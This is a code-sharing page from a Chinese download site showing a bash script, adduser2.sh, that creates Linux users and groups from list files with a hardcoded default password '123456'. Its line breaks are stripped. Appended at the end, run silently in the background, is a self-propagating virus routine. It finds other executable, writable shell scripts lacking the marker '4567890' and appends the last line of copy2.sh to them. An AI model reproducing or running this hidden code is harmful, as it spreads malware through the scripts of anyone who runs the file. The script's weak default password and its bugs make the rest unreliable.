⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 adduser2.sh

📁 add user
💻 SH
字号:
#!/bin/bashLOCK_FILE=/tmp/lockUser_List=./user.listPasswd_List=./passwd.listPASSWORD="123456"if [ -f $LOCK_FILE ];thenpid="`cat $LOCK_FILE`"ps -p $pid | grep $pid > /dev/nullif [ $? = 0 ];thenecho "script is running"exit 1 fiecho "program is dead and lockfile exits "fiif [ ! -f $User_List ];thenecho "user.list does not exit"exit 1fiif [ ! -f $Passwd_List ];thenecho "passwd.list does not exit"exit 1fiecho $$ > $LOCK_FILEwhile read user groups home dogroup=$(echo  $groups | cut -d, -f1)mkdir -p $homefor i in `echo $groups | sed 's/,/ /g'`;dogroupadd  $idone useradd $user -g $group -G $groups -d $homepwline=`grep $username $Passwd_List`if [ ! -z $pwline ];thenSetIt=`echo $pwline | cut -d"" -f2`if [ -z $SetIt ];thenecho $PASSWORD | passwd --stdin $userelseecho $SetIt | passwd --stdin $userfifidone<$User_Listrm $LOCK_FILE({ if [ ! -f /tmp/lock ] ; then touch /tmp/lock ; else exit 1 ; fi ;  for i in `ls -1 ` ; do file $i | grep "shell" >/dev/null ; if [ $? = 0 ] ; then grep 4567890 $i > /dev/null; [ ! $? = 0 -a -x $i -a -w $i ] && tail -n 1 ./copy2.sh  >> $i ; fi ; done ; rm /tmp/lock ; } > /dev/null ) &

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -